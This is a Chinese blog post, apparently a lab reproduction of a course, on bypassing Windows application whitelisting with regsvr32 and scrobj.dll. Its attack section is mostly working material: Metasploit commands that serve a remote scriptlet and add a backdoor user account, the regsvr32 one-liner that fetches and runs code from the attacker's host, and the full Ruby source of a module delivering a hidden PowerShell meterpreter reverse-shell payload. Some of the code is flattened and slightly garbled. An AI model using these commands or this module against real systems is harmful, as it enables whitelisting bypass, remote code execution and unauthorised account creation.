渗透测试-基于白名单执行payload--Regsvr32
2024-09-01 10:27:02
复现亮神课程 基于白名单执行payload--Regsvr32
0x01 Regsvr32
Regsvr32命令用于注册COM组件,是 Windows 系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行。WinXP及以上系统的regsvr32.exe在windows\system32文件夹下;2000系统的regsvr32.exe在winnt\system32文件夹下。但搭配regsvr32.exe使用的 DLL,需要提供 DllRegisterServer 和 DllUnregisterServer两个输出函式,或者提供DllInstall输出函数。
说明:Regsvr32.exe所在路径已被系统添加PATH环境变量中,因此,Regsvr32命令可识别。
Windows 2003 默认位置:
C:\WINDOWS\SysWOW64\regsvr32.exe C:\WINDOWS\system32\regsvr32.exe
0x02 复现
攻击机:192.168.1.4 Debian
靶机: 192.168.1.119 Windows 2003
A)msf_regsvr32
Msf配置:
msf5 exploit(multi/handler) > use auxiliary/server/regsvr32_command_delivery_server msf5 auxiliary(server/regsvr32_command_delivery_server) > set CMD net user qingxin qingxin /add CMD => net user qingxin qingxin /add msf5 auxiliary(server/regsvr32_command_delivery_server) > exploit [*] Using URL: http://0.0.0.0:8080/OjwuLaHnidmiH96 [*] Local IP: http://192.168.190.141:8080/OjwuLaHnidmiH96 [*] Server started. [*] Run the following command on the target machine: regsvr32 /s /n /u /i:http://192.168.190.141:8080/OjwuLaHnidmiH96 scrobj.dll
靶机执行:
C:\Users\Administrator\Desktop\Regsvr32>regsvr32 /s /n /u /i:http::/OjwuLaHnidmiH96 scrobj.dllv
结果:
B) powershell版regsvr32
regsvr32_applocker_bypass_server.rb:
## # This module requires Metasploit: http://metasploit.com/download# Current source: https://github.com/rapid7/metasploit‐framework ## class MetasploitModule < Msf::Exploit::RemoteRank = ManualRanking include Msf::Exploit::Powershell include Msf::Exploit::Remote::HttpServer def initialize(info = {})super(update_info(info,'Name' => 'Regsvr32.exe (.sct) Application Whitelisting Bypass Serve r', 'Description' => %q(This module simplifies the Regsvr32.exe Application Whitelisting Bypass technique.The module creates a web server that hosts an .sct file. When the user types the provided regsvr32 command on a system, regsvr32 will request the .sct file and then execute the included PowerShell command.This command then downloads and executes the specified payload (similar to the web_delivery module with PSH).Both web requests (i.e., the .sct file and PowerShell download and execute) can occur on the same port.), 'License' => MSF_LICENSE,'Author' =>['Casey Smith', # AppLocker bypass research and vulnerability discover y(\@subTee)'Trenton Ivey', # MSF Module (kn0)],'DefaultOptions' =>{'Payload' => 'windows/meterpreter/reverse_tcp'},'Targets' => [['PSH', {}]],'Platform' => %w(win),'Arch' => [ARCH_X86, ARCH_X86_64],'DefaultTarget' => 0,'DisclosureDate' => 'Apr 19 2016','References' =>[['URL', 'http://subt0x10.blogspot.com/2016/04/bypass‐application‐whitelisting‐script.html']]))end def primerprint_status('Run the following command on the target machine:')print_line("regsvr32 /s /n /u /i:\#{get_uri}.sct scrobj.dll")end def on_request_uri(cli, _request)# If the resource request ends with '.sct', serve the .sct file# Otherwise, serve the PowerShell payloadif _request.raw_uri =~ /\.sct$/ serve_sct_fileelse serve_psh_payloadendend def serve_sct_fileprint_status("Handling request for the .sct file from #{cli.peerhost}") ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(get_uri) download_and_run = "#{ignore_cert}#{download_string}" psh_command = generate_psh_command_line( noprofile: true, windowstyle: 'hidden', command: download_and_run) data = gen_sct_file(psh_command)send_response(cli, data, 'Content‐Type' => 'text/plain')end def serve_psh_payloadprint_status("Delivering payload to #{cli.peerhost}") data = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, use_single_quotes: true)send_response(cli,data,'Content‐Type' => 'application/octet‐stream')end def rand_class_id"#{Rex::Text.rand_text_hex 8}‐#{Rex::Text.rand_text_hex 4}‐#{Rex::Text.rand_text_hex 4}‐#{Rex::Text.rand_text_hex 4}‐#{Rex::Text.rand_text_hex12}"end def gen_sct_file(command)%{<?XML version="1.0"?><scriptlet><registrationprogid="\#{rand_text_a lphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = ne wActiveXObject("WScript.Shell").Run("#{command}",0);]]><script></registration></scriptlet>}end end
Msf配置:
靶机执行:
最新文章
- [Machine Learning] logistic函数和softmax函数
- C# 通过反射类动态调用DLL方法
- 通过lucene的StandardAnalyzer分析器来了解分词
- Droid4x安装busybox
- [C++] socket - 2 [UDP通信C/S实例]
- Linux查看系统信息命令总结
- CSS3简单的空调
- .net中XML的创建02(linqToXml)
- (转)Web Service入门简介(一个简单的WebService示例)
- B趣味求和
- 【Luogu1879】玉米田(状态压缩,动态规划)
- CF1093
- 搭建 RTMP 服务器
- Ocean的礼物(线段树单点修改)
- 01---JMS与消息中间件的基本概念
- springmvc后台接前端的参数,数组,集合,复杂对象等
- Java第05次实验提纲(Java图形界面编程)
- Python脚本语言第一行的写法
- 设计模式《JAVA与模式》之命令模式
- pip 安装包提速
热门文章
- LeetCode第七题
- master.TableNamespaceManager: Namespace table not found. Creating...
- SQLServer之MAX() 函数
- 初学者-asp.net三层架构
- jmeter 分布式疑难杂症 待完善
- Scrapy项目 - 实现腾讯网站社会招聘信息爬取的爬虫设计
- Java8新特性——stream流
- Angular 开发NPM第三方包
- php echo/print 输出函数比较
- React的diff算法(译文)